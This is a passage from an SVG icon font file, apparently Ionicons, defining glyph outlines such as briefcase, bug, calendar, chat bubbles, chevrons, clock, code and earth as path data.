d="M192 236c0 0 8 5 20 7c21 4 39 5 47 -9c10 -17 19 -53 17 -85c-1 -17 -5 -22 -5 -22s-15 -10 -47 -7c-35 3 -40 15 -40 15s5 12 8 43s0 58 0 58zM152 163c-17 -4 -38 -10 -38 -10s45 4 64 9c-4 -21 -10 -34 -10 -34s-83 -80 -116 -80c-28 0 -52 68 -52 144s26 144 52 144
c35 0 106 -57 128 -97c0 0 3 -16 2 -32c-10 5 -24 10 -44 14c-28 6 -42 3 -42 3s18 -4 57 -17c15 -5 22 -8 29 -10c0 -3 -1 -7 -1 -10c0 -5 0 -10 -1 -15c-5 -2 -15 -6 -28 -9zM396 336c26 0 52 -68 52 -144s-24 -144 -52 -144c-37 0 -104 68 -112 79c0 0 4 5 5 22v9
c16 -7 70 -13 70 -13s-21 6 -40 11c-13 4 -25 8 -30 10c-1 11 -2 23 -4 33c17 11 69 34 69 34s-15 -2 -35 -9c-14 -5 -29 -11 -37 -14c-3 10 -7 18 -10 24c0 1 -1 4 -1 4v1c22 40 89 97 125 97z" />
    <glyph glyph-name="ion-briefcase" unicode="&#xf26c;" 
d="M240 176v8h208v-176c0 -4 -4 -8 -8 -8h-432c-4 0 -8 4 -8 8v176h208v-8h32zM440 304c4 0 8 -4 8 -8v-96h-208v8h-32v-8h-208v96c0 4 4 8 8 8h120v31c1 28 22 49 51 49h90c30 0 50 -21 51 -49v-31h120zM288 332v1c0 10 -9 19 -19 19h-90c-10 0 -19 -9 -19 -19v-1v-1v-27
h128v27v1z" />
    <glyph glyph-name="ion-bug" unicode="&#xf2be;" 
d="M343 321c-6 -16 -16 -31 -28 -43c-24 -24 -57 -37 -91 -37s-67 13 -91 37c-12 12 -22 27 -28 43c29 39 72 63 119 63s90 -24 119 -63zM95 305c22 -45 68 -77 121 -80v-225c-40 2 -77 22 -104 54c-7 -6 -10 -9 -13 -15c8 -9 7 -22 -1 -31c-9 -10 -24 -11 -34 -2
s-11 24 -2 34l3 3s2 1 2 1c4 13 13 25 27 36c-15 26 -26 57 -29 90c-7 0 -12 -2 -17 -3c-1 -13 -11 -23 -24 -23s-24 11 -24 24s11 24 24 24h3c4 2 8 5 12 6c7 2 14 4 25 4c1 23 6 45 13 65c-6 4 -11 7 -15 11c-6 5 -11 13 -14 19c-1 0 -3 1 -4 2c-12 6 -15 21 -9 33
s21 15 33 9c11 -6 15 -20 10 -31c2 -3 3 -7 4 -8c2 -2 5 -3 8 -5c2 3 3 5 5 8zM424 192c13 0 24 -11 24 -24s-11 -24 -24 -24s-23 10 -24 23c-5 1 -10 3 -17 3c-3 -33 -14 -64 -29 -90c14 -11 23 -23 27 -36c0 0 1 0 2 -1l3 -3c9 -10 8 -25 -2 -34s-25 -8 -34 2
c-8 9 -9 22 -1 31c-3 6 -6 9 -13 15c-27 -32 -64 -52 -104 -54v225c53 3 99 35 121 80c2 -3 3 -5 5 -8c3 2 6 3 8 5c1 1 2 5 4 8c-5 11 -1 25 10 31c12 6 27 3 33 -9s3 -27 -9 -33c-1 -1 -3 -2 -4 -2c-3 -6 -8 -14 -14 -19c-4 -4 -9 -7 -15 -11c7 -20 12 -42 13 -65
c11 0 18 -2 25 -4c4 -1 8 -4 12 -6h3z" />
    <glyph glyph-name="ion-calculator" unicode="&#xf26d;" horiz-adv-x="320" 
d="M304 416c9 0 16 -7 16 -16v-416c0 -9 -7 -16 -16 -16h-288c-9 0 -16 7 -16 16v416c0 9 7 16 16 16h288zM48 240v-32h32v32h-32zM48 176v-32h32v32h-32zM48 112v-32h32v32h-32zM144 16v32h-96v-32h96zM144 80v32h-32v-32h32zM144 144v32h-32v-32h32zM144 208v32h-32v-32
h32zM208 16v32h-32v-32h32zM208 80v32h-32v-32h32zM208 144v32h-32v-32h32zM208 208v32h-32v-32h32zM272 16v96h-32v-96h32zM272 144v32h-32v-32h32zM272 208v32h-32v-32h32zM272 288v80h-224v-80h224z" />
    <glyph glyph-name="ion-calendar" unicode="&#xf117;" 
d="M112 320c-18 0 -32 14 -32 32v32c0 18 14 32 32 32s32 -14 32 -32v-32c0 -18 -14 -32 -32 -32zM336 320c-18 0 -32 14 -32 32v32c0 18 14 32 32 32s32 -14 32 -32v-32c0 -18 -14 -32 -32 -32zM440 384c4 0 8 -4 8 -8v-400c0 -4 -4 -8 -8 -8h-432c-4 0 -8 4 -8 8v400
c0 4 4 8 8 8h56v-41c0 -22 24 -39 48 -39s48 17 48 39v41h128v-41c0 -22 25 -39 49 -39s47 17 47 39v41h56zM400 16v256h-352v-256h352z" />
    <glyph glyph-name="ion-camera" unicode="&#xf118;" horiz-adv-x="416" 
d="M382 301c18 0 34 -14 34 -33v-202c0 -19 -16 -34 -34 -34h-348c-19 0 -34 15 -34 34v202c0 19 15 33 34 33h69l39 40v0c6 7 15 11 25 11h84c9 0 17 -4 23 -10v0v0v0l41 -41h67zM208 82c51 0 92 42 92 93s-41 93 -92 93s-92 -42 -92 -93s41 -93 92 -93zM376 248
c8 0 14 6 14 14s-6 14 -14 14s-14 -6 -14 -14s6 -14 14 -14zM208 245c38 0 70 -31 70 -70s-32 -70 -70 -70c-39 0 -70 31 -70 70s31 70 70 70z" />
    <glyph glyph-name="ion-card" unicode="&#xf119;" 
d="M420 352c16 0 28 -12 28 -28v0v-264v0c0 -16 -12 -28 -28 -28h-392c-16 0 -28 12 -28 28v0v0v264v0v0c0 16 12 28 28 28h392zM45 320c-7 0 -12 -5 -13 -12v-20h384v20c-1 7 -6 12 -13 12h-358zM403 64c7 0 12 5 13 12v116h-384v-116c1 -7 6 -12 13 -12h358zM64 128v16
h192v-16h-192zM64 96v16h96v-16h-96zM320 96v48h64v-48h-64z" />
    <glyph glyph-name="ion-cash" unicode="&#xf316;" horiz-adv-x="512" 
d="M0 352h512v-256h-512v256zM193 128c-20 23 -33 58 -33 96s13 73 33 96h-97c0 -35 -29 -64 -64 -64v-80c27 0 48 -21 48 -48h113zM298 187c3 4 4 9 4 15c0 3 0 5 -1 8s-2 6 -4 8s-4 4 -7 6s-6 4 -10 5c-1 0 -4 1 -7 2s-5 0 -8 1v31c2 -1 5 -2 7 -3c4 -3 6 -7 7 -13h20
c0 5 -2 9 -4 13s-5 8 -9 11s-9 5 -14 6c-2 1 -5 2 -7 2v9h-18v-9c-2 0 -4 -1 -6 -2c-5 -1 -10 -2 -14 -5s-7 -6 -9 -10s-4 -9 -4 -14c0 -3 0 -5 1 -8s2 -5 4 -7s5 -5 8 -7s7 -4 12 -5c3 -1 6 0 8 -1v-35c-3 1 -6 2 -9 4s-5 4 -6 7s-2 6 -2 9h-20c0 -5 2 -11 4 -16
c3 -5 6 -8 10 -11s9 -6 15 -7c3 -1 5 -2 8 -2v-9h18v9c3 0 6 1 9 2c5 1 10 2 14 5s7 7 10 11zM480 176v80c-35 0 -64 29 -64 64h-97c20 -23 33 -58 33 -96s-13 -73 -33 -96h113c0 27 22 48 48 48zM64 224c0 21 11 32 32 32s32 -11 32 -32s-11 -32 -32 -32s-32 11 -32 32z
M384 224c0 21 11 32 32 32s32 -11 32 -32s-11 -32 -32 -32s-32 11 -32 32zM273 213c2 -1 4 -2 6 -4s3 -5 3 -9c0 -2 0 -4 -1 -6s-2 -4 -4 -5s-5 -3 -8 -4c-1 0 -2 -1 -4 -1v31c3 -1 6 -1 8 -2zM236 257c1 2 3 3 5 4s4 2 6 2v-26c-4 1 -7 3 -9 5s-4 4 -4 8c0 3 1 5 2 7zM0 32
v32h512v-32h-512z" />
    <glyph glyph-name="ion-chatbox-working" unicode="&#xf11a;" horiz-adv-x="416" 
d="M76 48c-42 0 -76 31 -76 71v209c0 40 34 72 76 72h264c42 0 76 -32 76 -72v-209c0 -40 -34 -71 -76 -71h-4v-64s-79 54 -86 59s-7 5 -21 5h-153zM304 256c-18 0 -32 -14 -32 -32s14 -32 32 -32s32 14 32 32s-14 32 -32 32zM208 256c-18 0 -32 -14 -32 -32s14 -32 32 -32
s32 14 32 32s-14 32 -32 32zM112 256c-18 0 -32 -14 -32 -32s14 -32 32 -32s32 14 32 32s-14 32 -32 32z" />
    <glyph glyph-name="ion-chatbox" unicode="&#xf11b;" horiz-adv-x="416" 
d="M76 48c-42 0 -76 31 -76 71v209c0 40 34 72 76 72h264c42 0 76 -32 76 -72v-209c0 -40 -34 -71 -76 -71h-4v-64s-79 54 -86 59s-7 5 -21 5h-153z" />
    <glyph glyph-name="ion-chatboxes" unicode="&#xf11c;" horiz-adv-x="416" 
d="M246 82l26 -18c-4 -21 -29 -32 -52 -32h-90c-8 0 -11 -2 -13 -3l-53 -45v48h-16c-26 0 -48 16 -48 41v129c0 25 20 45 46 45h2v-101c0 -33 29 -59 64 -59h117c10 0 14 -3 17 -5zM353 400c35 0 63 -27 63 -60v-168c0 -33 -28 -60 -63 -60h-17v-64l-75 60c-2 2 -7 4 -17 4
h-101c-35 0 -63 27 -63 60v98v70c0 33 21 60 56 60h217z" />
    <glyph glyph-name="ion-chatbubble-working" unicode="&#xf11d;" horiz-adv-x="416" 
d="M208 -1c-115 0 -208 89 -208 200s93 201 208 201s208 -90 208 -201c0 -40 -12 -77 -33 -108c-1 -1 -2 -3 -3 -4v0c-2 -4 -4 -10 -4 -15l22 -88l-84 31c-4 2 -8 2 -12 2s-7 -1 -11 -2v0c-1 0 -1 -1 -2 -1c-25 -10 -52 -15 -81 -15zM304 224c-18 0 -32 -14 -32 -32
s14 -32 32 -32s32 14 32 32s-14 32 -32 32zM208 224c-18 0 -32 -14 -32 -32s14 -32 32 -32s32 14 32 32s-14 32 -32 32zM112 224c-18 0 -32 -14 -32 -32s14 -32 32 -32s32 14 32 32s-14 32 -32 32z" />
    <glyph glyph-name="ion-chatbubble" unicode="&#xf11e;" horiz-adv-x="416" 
d="M208 -1c-115 0 -208 89 -208 200s93 201 208 201s208 -90 208 -201c0 -40 -12 -77 -33 -108c-1 -1 -2 -3 -3 -4v0c-2 -4 -4 -10 -4 -15l22 -88l-84 31c-4 2 -8 2 -12 2s-7 -1 -11 -2v0c-1 0 -1 -1 -2 -1c-25 -10 -52 -15 -81 -15z" />
    <glyph glyph-name="ion-chatbubbles" unicode="&#xf11f;" horiz-adv-x="416" 
d="M25 57c-1 1 0 2 -1 3c-15 22 -24 49 -24 77c0 42 19 80 49 106c-2 -11 -4 -22 -4 -34c0 -92 78 -168 174 -168c15 0 30 2 44 6c-27 -32 -69 -53 -115 -53c-20 0 -40 5 -58 12h-1v0c-2 1 -5 2 -8 2s-6 -1 -9 -2l-56 -22l12 63c0 4 -1 7 -3 10v0zM242 400
c96 0 174 -76 174 -168c0 -33 -11 -64 -28 -90c-1 -1 -1 -2 -2 -3v0c-2 -4 -3 -8 -3 -12l17 -74l-69 26c-3 1 -6 2 -10 2c-3 0 -6 -1 -9 -2v0l-2 -1c-8 -3 -16 -5 -24 -7c-14 -4 -29 -6 -44 -6c-96 0 -173 75 -173 167c0 12 1 24 3 35c16 76 86 133 170 133z" />
    <glyph glyph-name="ion-checkmark-circled" unicode="&#xf120;" 
d="M224 416c124 0 224 -100 224 -224s-100 -224 -224 -224s-224 100 -224 224s100 224 224 224zM339 267c1 1 1 2 1 3s0 3 -1 4l-31 24c-1 1 -3 1 -4 1s-2 0 -3 -1l-111 -143s-44 42 -45 43s-4 3 -6 3s-3 -2 -4 -3l-25 -25l-1 -1c-1 -1 -1 -3 -1 -4s0 -2 1 -3l2 -1
s78 -75 79 -76s3 -3 5 -3s4 2 5 3z" />
    <glyph glyph-name="ion-checkmark-round" unicode="&#xf121;" horiz-adv-x="416" 
d="M400 376c17 -13 22 -39 9 -57l-207 -302c-13 -18 -37 -22 -54 -9s-137 147 -137 147c-15 16 -15 42 1 58s40 15 55 -2l99 -107l180 263c13 18 37 22 54 9z" />
    <glyph glyph-name="ion-checkmark" unicode="&#xf122;" horiz-adv-x="416" 
d="M414 338c1 -2 2 -4 2 -6s-1 -4 -2 -6l-249 -320c-2 -2 -5 -6 -9 -6s-8 3 -10 5s-141 136 -141 136l-3 3c-1 2 -2 4 -2 6s1 3 2 5l2 2c14 15 42 44 44 46s4 6 8 6s8 -4 10 -6s80 -78 80 -78l200 257c2 2 4 2 6 2s5 -1 7 -2z" />
    <glyph glyph-name="ion-chevron-down" unicode="&#xf123;" 
d="M224 150v0v0l174 167c4 4 12 4 16 0l31 -30c4 -4 4 -12 0 -16l-213 -204c-2 -2 -5 -3 -8 -3s-6 1 -8 3l-213 204c-4 4 -4 12 0 16l31 30c4 4 12 4 16 0z" />
    <glyph glyph-name="ion-chevron-left" unicode="&#xf124;" horiz-adv-x="256" 
d="M86 192l167 -174c4 -4 4 -12 0 -16l-30 -31c-4 -4 -12 -4 -16 0l-204 213c-2 2 -3 5 -3 8s1 6 3 8l204 213c4 4 12 3 16 -1l30 -30c4 -4 4 -12 0 -16l-167 -174v0v0z" />
    <glyph glyph-name="ion-chevron-right" unicode="&#xf125;" horiz-adv-x="256" 
d="M170 192v0v0l-167 174c-4 4 -4 12 0 16l30 30c4 4 12 5 16 1l204 -213c2 -2 3 -5 3 -8s-1 -6 -3 -8l-204 -213c-4 -4 -12 -4 -16 0l-30 31c-4 4 -4 12 0 16z" />
    <glyph glyph-name="ion-chevron-up" unicode="&#xf126;" 
d="M224 234l-174 -167c-4 -4 -12 -4 -16 0l-31 30c-4 4 -4 12 0 16l213 204c2 2 5 3 8 3s6 -1 8 -3l213 -204c4 -4 4 -12 0 -16l-31 -30c-4 -4 -12 -4 -16 0l-174 167v0v0z" />
    <glyph glyph-name="ion-clipboard" unicode="&#xf127;" horiz-adv-x="352" 
d="M80 288c2 20 10 35 28 40l1 1c12 3 21 7 21 20v21c0 26 21 46 46 46s46 -20 46 -46v-21c0 -13 9 -18 21 -21h2c18 -5 25 -20 27 -40h-192zM176 384c-8 0 -13 -6 -13 -14s5 -14 13 -14s14 6 14 14s-6 14 -14 14zM325 384c15 0 27 -12 27 -28v-360c0 -16 -12 -28 -27 -28
h-149h-148c-15 0 -28 12 -28 28v360c0 16 13 28 28 28h73v-13c0 -11 -9 -19 -19 -19h-37c-7 0 -12 -6 -12 -13v-327c0 -6 5 -12 11 -12h265c6 0 11 6 11 12v327c0 7 -5 13 -12 13h-37c-10 0 -20 8 -20 19v13h74zM64 224v32h112v-32h-112zM64 32v32h160v-32h-160zM64 96v32
h129v-32h-129zM64 160v32h208v-32h-208z" />
    <glyph glyph-name="ion-clock" unicode="&#xf26e;" 
d="M224 416c124 0 224 -100 224 -224s-100 -224 -224 -224s-224 100 -224 224s100 224 224 224zM360 56c10 10 19 21 26 33l-27 16l8 14l27 -16c13 25 21 52 22 81h-32v16h32c-1 29 -9 56 -22 81l-27 -16l-8 14l27 16c-7 12 -16 23 -26 33s-21 19 -33 26l-16 -27l-14 8
l16 27c-25 13 -52 21 -81 22v-32h-16v32c-29 -1 -56 -9 -81 -22l16 -27l-14 -8l-16 27c-12 -7 -23 -16 -33 -26s-19 -21 -26 -33l27 -16l-8 -14l-27 16c-13 -25 -21 -52 -22 -81h32v-16h-32c1 -29 9 -56 22 -81l27 16l8 -14l-27 -16c7 -12 16 -23 26 -33s21 -19 33 -26
l16 27l14 -8l-16 -27c25 -13 52 -21 81 -22v32h16v-32c29 1 56 9 81 22l-16 27l14 8l16 -27c12 7 23 16 33 26zM368 207v-32h-117c-6 -9 -16 -15 -27 -15c-18 0 -32 14 -32 32c0 12 6 22 16 28v68h32v-68c5 -3 9 -8 12 -13h116z" />
    <glyph glyph-name="ion-close-circled" unicode="&#xf128;" 
d="M224 415c124 0 224 -100 224 -224s-100 -224 -224 -224s-224 100 -224 224s100 224 224 224zM332 116l-75 75l76 75c3 3 3 9 0 12l-22 21c-2 2 -4 3 -6 3s-3 -1 -5 -3l-76 -74l-76 74c-2 2 -3 3 -5 3s-4 -1 -6 -3l-21 -21c-3 -3 -3 -9 0 -12l76 -75l-76 -76
c-2 -1 -2 -3 -2 -5s0 -4 2 -6l21 -22c2 -2 4 -2 6 -2s4 0 6 2l75 76l76 -75c2 -2 3 -3 5 -3s4 1 6 3l21 21c2 1 3 4 3 6s-1 4 -3 6z" />
    <glyph glyph-name="ion-close-round" unicode="&#xf129;" horiz-adv-x="384" 
d="M374 61c14 -14 14 -37 0 -51s-37 -14 -51 0l-131 131l-131 -131c-14 -14 -36 -14 -50 0s-14 37 0 51l130 131l-130 131c-14 14 -14 37 0 51s36 14 50 0l131 -131l131 131c14 14 37 14 51 0s14 -37 0 -51l-131 -131z" />
    <glyph glyph-name="ion-close" unicode="&#xf12a;" horiz-adv-x="384" 
d="M380 61c3 -3 4 -6 4 -10s-1 -7 -4 -10l-38 -37c-3 -3 -5 -4 -9 -4s-7 1 -10 4l-131 131l-131 -131c-3 -3 -5 -4 -9 -4s-7 1 -10 4l-38 37c-3 3 -4 6 -4 10s1 7 4 10l132 131l-132 130c-5 5 -5 15 0 20l37 38c3 2 6 4 10 4s7 -1 10 -4l131 -130l131 130c3 2 6 4 10 4
s7 -1 10 -4l37 -38c5 -5 5 -14 0 -19l-132 -130z" />
    <glyph glyph-name="ion-closed-captioning" unicode="&#xf317;" horiz-adv-x="512" 
d="M0 384h512v-384h-512v384zM464 192c0 27 0 44 -4 80s-23 56 -59 60s-91 4 -138 4h-7h-7c-47 0 -102 0 -138 -4s-55 -24 -59 -60s-4 -53 -4 -80s2 -47 4 -80s19 -56 59 -60s96 -4 145 -4s105 0 145 4s57 27 59 60s4 53 4 80zM372 164v4h53c0 -27 -7 -48 -19 -62
s-32 -21 -61 -21c-14 0 -26 2 -36 5s-18 9 -25 17s-12 19 -15 33s-5 30 -5 51s3 39 7 53s9 25 17 33s17 14 27 17s22 5 34 5c25 0 44 -7 57 -21s19 -37 19 -62h-52v1c0 20 -12 33 -27 33s-25 -11 -28 -30c0 0 -2 -11 -2 -29s2 -28 2 -28c1 -17 12 -29 27 -29s27 10 27 29v1z
M195 164v4h53c0 -27 -7 -48 -19 -62s-32 -21 -61 -21c-14 0 -26 2 -36 5s-18 9 -25 17s-12 19 -15 33s-5 30 -5 51s3 39 7 53s9 25 17 33s17 14 27 17s22 5 34 5c25 0 44 -7 57 -21s19 -37 19 -62h-52v1c0 20 -12 33 -27 33s-25 -11 -28 -30c0 0 -2 -11 -2 -29s2 -28 2 -28
c1 -17 12 -29 27 -29s27 10 27 29v1z" />
    <glyph glyph-name="ion-cloud" unicode="&#xf12b;" 
d="M366 215c45 0 82 -38 82 -84s-37 -83 -82 -83v0h-276c-49 0 -90 41 -90 91c0 40 26 74 61 86c5 29 29 51 59 51c10 0 18 -3 26 -7c19 40 59 67 105 67c64 0 115 -53 115 -118v-3z" />
    <glyph glyph-name="ion-code-download" unicode="&#xf26f;" 
d="M299 164l-63 -63v0l-1 -1v0l-2 -1v0l-1 -1v0l-2 -1v0h-1v0h-1c-1 0 -3 -1 -4 -1s-3 1 -4 1h-1v0h-1v0l-2 1v0l-1 1v0c-1 1 -2 1 -3 2v0l-63 63c-6 6 -6 17 0 23s18 6 24 0l35 -34v118c0 9 7 17 16 17s16 -8 16 -17v-118l35 34c6 6 18 6 24 0s6 -17 0 -23zM136 56
c-6 0 -12 2 -17 7l-112 112c-9 9 -9 25 0 34l112 112c9 9 25 9 34 0s9 -25 0 -34l-95 -95l95 -95c9 -9 9 -25 0 -34c-5 -5 -11 -7 -17 -7zM312 56c-6 0 -12 2 -17 7c-9 9 -9 25 0 34l95 95l-95 95c-9 9 -9 25 0 34s25 9 34 0l112 -112c9 -9 9 -25 0 -34l-112 -112
c-5 -5 -11 -7 -17 -7z" />
    <glyph glyph-name="ion-code-working" unicode="&#xf270;" 
d="M128 192c0 16 8 24 24 24s24 -8 24 -24s-8 -24 -24 -24s-24 8 -24 24zM200 192c0 16 8 24 24 24s24 -8 24 -24s-8 -24 -24 -24s-24 8 -24 24zM272 192c0 16 8 24 24 24s24 -8 24 -24s-8 -24 -24 -24s-24 8 -24 24zM136 56c-7 0 -12 2 -17 7l-112 112c-5 5 -7 10 -7 17
s2 12 7 17l112 112c5 5 10 7 17 7s12 -2 17 -7s7 -10 7 -17s-2 -12 -7 -17l-95 -95l95 -95c5 -5 7 -10 7 -17s-2 -12 -7 -17s-10 -7 -17 -7zM312 56c-7 0 -12 2 -17 7s-7 10 -7 17s2 12 7 17l95 95l-95 95c-5 5 -7 10 -7 17s2 12 7 17s10 7 17 7s12 -2 17 -7l112 -112
c5 -5 7 -10 7 -17s-2 -12 -7 -17l-112 -112c-5 -5 -10 -7 -17 -7z" />
    <glyph glyph-name="ion-code" unicode="&#xf271;" 
d="M136 56c-6 0 -12 2 -17 7l-112 112c-9 9 -9 25 0 34l112 112c9 9 25 9 34 0s9 -25 0 -34l-95 -95l95 -95c9 -9 9 -25 0 -34c-5 -5 -11 -7 -17 -7zM312 56c-6 0 -12 2 -17 7c-9 9 -9 25 0 34l95 95l-95 95c-9 9 -9 25 0 34s25 9 34 0l112 -112c9 -9 9 -25 0 -34l-112 -112
c-5 -5 -11 -7 -17 -7z" />
    <glyph glyph-name="ion-coffee" unicode="&#xf272;" horiz-adv-x="384" 
d="M319 191c37 -7 65 -40 65 -79c0 -20 -8 -39 -21 -54c-15 -17 -37 -26 -61 -26c-8 0 -17 1 -25 3c-6 1 -10 3 -15 5c-11 -15 -23 -25 -32 -33v0c-5 -5 -12 -7 -19 -7h-102c-7 0 -14 2 -19 7v0c-17 15 -41 36 -62 86s-28 91 -28 111s3 20 16 20h101c-5 17 -37 19 -37 46
c0 17 15 32 28 37c-2 -8 -3 -14 -3 -21c0 -19 39 -30 39 -53c0 -3 0 -6 -1 -9h56c1 5 2 10 2 14c0 36 -56 36 -56 84c0 28 21 55 47 62c-4 -14 -9 -23 -9 -35c0 -32 57 -50 57 -88c0 -13 -5 -25 -12 -37h76c13 0 16 0 16 -20c0 -4 0 -8 -1 -13zM302 64c33 0 50 25 50 48
s-17 43 -39 47c-4 -19 -11 -42 -21 -66c-4 -9 -8 -17 -12 -25c6 -3 13 -4 22 -4z" />
    <glyph glyph-name="ion-compass" unicode="&#xf273;" 
d="M224 416c124 0 224 -100 224 -224s-100 -224 -224 -224s-224 100 -224 224c0 39 10 76 27 108c-16 12 -27 30 -27 52c0 35 29 64 64 64c22 0 40 -11 52 -27c32 17 69 27 108 27zM32 352c0 -10 5 -20 13 -26c13 17 28 32 45 45c-6 8 -16 13 -26 13c-18 0 -32 -14 -32 -32z
M360 56c36 36 56 85 56 136s-20 100 -56 136s-85 56 -136 56s-100 -20 -136 -56s-56 -85 -56 -136s20 -100 56 -136s85 -56 136 -56s100 20 136 56zM320 320c0 0 -54 -130 -72 -152s-120 -104 -120 -104s54 132 72 152s120 104 120 104z" />
    <glyph glyph-name="ion-compose" unicode="&#xf12c;" horiz-adv-x="384" 
d="M379 348c7 -7 7 -18 0 -25l-32 -31l-55 55l31 32c7 7 18 7 25 0zM282 338l55 -55l-177 -173l-64 -14l14 64zM320 192l32 32v-201c0 -13 -10 -23 -23 -23h-306c-13 0 -23 10 -23 23v306c0 13 10 23 23 23h201l-32 -32h-149c-6 0 -11 -5 -11 -10v-268s4 -10 10 -10h269
s9 5 9 10v150z" />
    <glyph glyph-name="ion-connection-bars" unicode="&#xf274;" horiz-adv-x="352" 
d="M0 32v64h64v-64h-64zM96 32v128h64v-128h-64zM192 32v224h64v-224h-64zM288 32v320h64v-320h-64z" />
    <glyph glyph-name="ion-contrast" unicode="&#xf275;" 
d="M224 416c124 0 224 -100 224 -224s-100 -224 -224 -224s-224 100 -224 224s100 224 224 224zM360 56c36 36 56 85 56 136s-20 100 -56 136s-85 56 -136 56v-384c51 0 100 20 136 56z" />
    <glyph glyph-name="ion-crop" unicode="&#xf3c1;" 
d="M320 -32v48h64v-48h-64zM384 96h64v-64h-384v256h-64v64h64v64h64v-320h192v192h-176v64h240v-256z" />
    <glyph glyph-name="ion-cube" unicode="&#xf318;" 
d="M435 280c7 0 13 -6 13 -12v-183c0 -9 -6 -17 -14 -22v-1l-175 -92v-1c-2 -1 -4 -1 -6 -1c-7 0 -13 6 -13 12v185c0 9 5 17 13 22v0l3 2l172 89l2 1c2 1 3 1 5 1zM422 329c0 0 8 -3 8 -9c0 -7 -8 -11 -8 -11l-183 -97l-2 -1c-4 -2 -8 -3 -13 -3s-9 1 -13 3l-2 1l-183 96
s-8 5 -8 12c0 6 8 9 8 9l181 82s11 5 17 5s17 -5 17 -5zM195 187c8 -5 13 -13 13 -22v-185c0 -6 -6 -12 -13 -12c-2 0 -4 1 -6 2v0l-175 92v1c-8 5 -14 13 -14 22v183c0 6 6 12 13 12c2 0 4 0 5 -1l2 -1l171 -89z" />
    <glyph glyph-name="ion-disc" unicode="&#xf12d;" 
d="M224 289c54 0 97 -43 97 -97s-43 -97 -97 -97s-97 43 -97 97s43 97 97 97zM224 148c24 0 44 20 44 44s-20 44 -44 44s-44 -20 -44 -44s20 -44 44 -44zM224 416c124 0 224 -100 224 -224s-100 -224 -224 -224s-224 100 -224 224s100 224 224 224zM224 69
c68 0 123 55 123 123s-55 123 -123 123s-123 -55 -123 -123s55 -123 123 -123z" />
    <glyph glyph-name="ion-document-text" unicode="&#xf12e;" horiz-adv-x="288" 
d="M286 279c1 -3 2 -6 2 -10v-245c0 -13 -10 -24 -22 -24h-243c-12 0 -23 11 -23 24v336c0 13 11 24 23 24h160c3 0 6 0 9 -2c2 -1 5 -3 7 -5l84 -92c2 -2 2 -4 3 -6zM48 269v-10c0 -1 1 -3 3 -3h71c2 0 3 2 3 3v10c0 2 -1 3 -3 3h-71c-2 0 -3 -1 -3 -3zM48 141v-10
c0 -1 1 -3 3 -3h123c2 0 2 2 2 3v10c0 2 0 3 -2 3h-123c-2 0 -3 -1 -3 -3zM208 67v10c0 2 0 3 -2 3h-155c-2 0 -3 -1 -3 -3v-10c0 -1 1 -3 3 -3h155c2 0 2 2 2 3zM240 195v10c0 2 0 3 -2 3h-187c-2 0 -3 -1 -3 -3v-10c0 -1 1 -3 3 -3h187c2 0 2 2 2 3zM193 270h60l-71 78
v-66c0 -6 5 -12 11 -12z" />
    <glyph glyph-name="ion-document" unicode="&#xf12f;" horiz-adv-x="288" 
d="M287 279c1 -3 1 -5 1 -9v-244c0 -13 -9 -26 -21 -26h-243c-12 0 -24 13 -24 26v335c0 13 12 23 24 23h160c3 0 6 0 9 -2c2 -1 5 -2 7 -4l83 -92c2 -2 3 -4 4 -7zM193 337v-63h58zM32 32h224v210h-67c-15 0 -28 13 -28 28v82h-129v-320z" />
    <glyph glyph-name="ion-drag" unicode="&#xf130;" horiz-adv-x="512" 
d="M0 272v32h512v-32h-512zM0 176v32h512v-32h-512zM0 80v32h512v-32h-512z" />
    <glyph glyph-name="ion-earth" unicode="&#xf276;" 
d="M325 322c2 -4 7 -12 3 -15c-3 -2 -10 -2 -13 5s0 11 -5 9s-7 3 -6 4c1 2 3 3 5 4c0 2 -4 8 2 7c4 -1 12 -10 14 -14zM344 277v0v0zM403 251c0 0 -2 0 0 0v0zM224 416c124 0 224 -100 224 -224s-100 -224 -224 -224s-224 100 -224 224s100 224 224 224zM141 19l8 -4
c3 -1 6 -2 10 -3c14 -5 28 -8 43 -10c28 -3 56 -1 83 8c15 5 30 11 43 20c6 4 6 16 10 24c8 16 -2 33 12 47c12 14 4 19 4 34c0 10 8 18 4 29c-1 4 -7 -3 -9 1c-5 7 -21 1 -28 2c-13 2 -24 14 -33 23c-5 5 0 20 1 26c4 15 0 33 19 38c5 1 5 9 10 11c5 1 10 3 15 4
c9 1 17 -2 26 -2c10 0 14 -5 22 -11c7 -6 13 -3 22 -5c7 0 0 5 -2 8c-3 2 -6 2 -8 2c-16 4 -23 22 -36 30c-6 3 -9 2 -11 0c-1 -1 1 -12 1 -12c-1 -3 -10 -4 -13 -5c-9 -2 -29 17 -15 22c4 1 27 5 24 15c-3 6 2 13 -5 14c-8 1 -7 7 -15 8c-5 1 -5 11 -5 14c0 9 2 6 9 7
c-17 11 -37 19 -57 24c-1 -3 -5 -12 -8 -12c-5 -1 -6 0 -9 -3c-9 -10 -16 -28 -25 -7c-4 11 5 19 2 28h-6h-3c6 -12 -5 -18 -8 -19c-8 0 -10 5 -17 4c-4 -1 -7 4 -11 2s-13 -8 -14 -12c-3 -12 6 -13 14 -6c6 6 17 12 25 6c6 -5 5 -9 5 -14s-1 -18 -9 -16c-4 1 -7 6 -11 3
c-8 -7 -18 -6 -29 -9c-10 -2 -16 -6 -25 -9c-8 -3 -11 -4 -12 -12c0 -2 0 -14 -3 -15c-5 -2 -8 22 -22 20c-12 -1 -30 -13 -25 -28c2 -5 28 -3 10 -14c-2 -1 2 -17 2 -20c1 -8 13 -18 21 -10c6 6 6 5 14 2c15 -8 33 -15 45 -27c6 -6 9 -24 17 -28c9 -5 19 -5 26 -14
c6 -7 -2 -19 -8 -23c-4 -2 -12 -24 -16 -29c-2 -4 -12 -6 -16 -7c-3 0 -7 -9 -9 -11c-7 -7 -8 -13 -17 -19c-18 -12 -22 -23 -18 -44c2 -8 5 -13 11 -16zM100 46l2 -2c7 -6 15 -11 23 -16c-21 21 -23 49 -21 78l3 24c1 3 -4 7 -4 11c0 10 0 5 -8 13c-4 4 -10 11 -12 17
c-7 16 1 30 10 43c9 14 -7 20 -10 32c-1 6 -7 6 -6 12c1 7 -4 5 -9 9c-12 8 -1 20 -7 26c-43 -70 -36 -162 16 -224c1 -1 0 -1 1 -2h1c3 -4 6 -8 9 -11s7 -6 10 -9z" />
    <glyph glyph-name="ion-easel" unicode="&#xf3c2;" 
